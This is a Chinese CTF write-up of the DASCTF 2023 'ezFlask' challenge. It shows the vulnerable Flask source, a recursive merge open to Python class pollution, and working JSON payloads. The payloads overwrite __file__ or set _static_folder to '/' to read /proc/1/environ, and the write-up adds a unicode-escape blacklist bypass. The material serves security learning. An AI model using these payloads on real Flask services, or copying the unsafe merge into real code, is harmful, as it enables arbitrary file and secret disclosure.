ezFlask_DASCTF23

分析(DONE)

  1. 源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    import uuid

    from flask import Flask, request, session
    from secret import black_list
    import json

    app = Flask(__name__)
    app.secret_key = str(uuid.uuid4())

    def check(data):
    for i in black_list:
    if i in data:
    return False
    return True

    def merge(src, dst):
    for k, v in src.items():
    if hasattr(dst, '__getitem__'):
    if dst.get(k) and type(v) == dict:
    merge(v, dst.get(k))
    else:
    dst[k] = v
    elif hasattr(dst, k) and type(v) == dict:
    merge(v, getattr(dst, k))
    else:
    setattr(dst, k, v)

    class user():
    def __init__(self):
    self.username = ""
    self.password = ""
    pass
    def check(self, data):
    if self.username == data['username'] and self.password == data['password']:
    return True
    return False

    Users = []

    @app.route('/register',methods=['POST'])
    def register():
    if request.data:
    try:
    if not check(request.data):
    return "Register Failed"
    data = json.loads(request.data)
    if "username" not in data or "password" not in data:
    return "Register Failed"
    User = user()
    merge(data, User)
    Users.append(User)
    except Exception:
    return "Register Failed"
    return "Register Success"
    else:
    return "Register Failed"

    @app.route('/login',methods=['POST'])
    def login():
    if request.data:
    try:
    data = json.loads(request.data)
    if "username" not in data or "password" not in data:
    return "Login Failed"
    for user in Users:
    if user.check(data):
    session["username"] = data["username"]
    return "Login Success"
    except Exception:
    return "Login Failed"
    return "Login Failed"

    @app.route('/',methods=['GET'])
    def index():
    return open(__file__, "r").read()

    if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)
  2. 原型链污染,in似乎无法递归判断,密码存在内存中,没有admin –> 实际中in是由递归判断的

  3. 目的和注入点是open那里,难道可以命令执行吗在这里,看不到触发点啊,先从open出发,毕竟明显

  4. 那么可以覆盖__file__然后读取flag文件?这里__file__可以通过全局变量直接覆写,就是本模块的命名空间中的内容

  5. payload

    1. 可以测出来是过滤了__init__,其他都保留了
    2. 没有找到flag文件,读取环境变量
    3. /proc/1/environ/proc/self/environ中都读,是前一个个
    1
    {"username":"hello","password":"admin","__class__":{"check":{"__globals__":{"__file__":"/proc/1/environ"}}},"11tadbx0ae9b":"="}

补充

环境变量

  1. 常见环境变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # 环境变量是以空字符(\0)分隔的字符串形式存储的,只读的,不能修改
    /proc/1/environ
    # init 进程的 PID 为 1,它在系统启动时由内核启动,并且在整个系统运行期间一直存在
    # 包含了 init 进程的环境变量
    /proc/self/environ # 这个文件包含了当前进程(即执行该命令的进程)的环境变量

    /etc/profile

    /etc/profile.d/*.sh

    ~/.bash_profile

    ~/.bashrc

    /etc/bashrc

*编码绕过

  1. 虽然这里使用的是通过check函数对象的__globals__属性来获取全局变量,但是也可以通过编码进行绕过,涉及到python中的unicode
    1. 在 Python 3 中,字符串默认是 Unicode 字符串,使用 str 类型表示。你可以直接在字符串中使用 Unicode 字符
    2. 这里源码中有一个json.loads()是从字符串转换的,刚好可以利用__init__ # \u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F

*静态目录写入 -> 一个很不错的思路

  1. 先看一眼payload吧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {
    "username":1,
    "password":1,
    "__init\u005f_":{
    "__globals__":{
    "app":{
    "_static_folder":"/"
    }
    }
    }
    }
  2. Flask app 全局变量

    1. app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
    2. Flask app实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
    3. app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
    4. 通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求
  3. _static_folder 全局变量

    1. _static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
    2. 静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
    3. 在 Flask 中,可以通过 app.static_folder 属性来访问_static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
    4. Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像
  4. 利用原理: /static/proc/1/environ:由于”_static_folder”:”/“把静态目录直接设置为了根目录,所以根目录下/proc/1/environ可以通过访问静态目录/static/proc/1/environ访问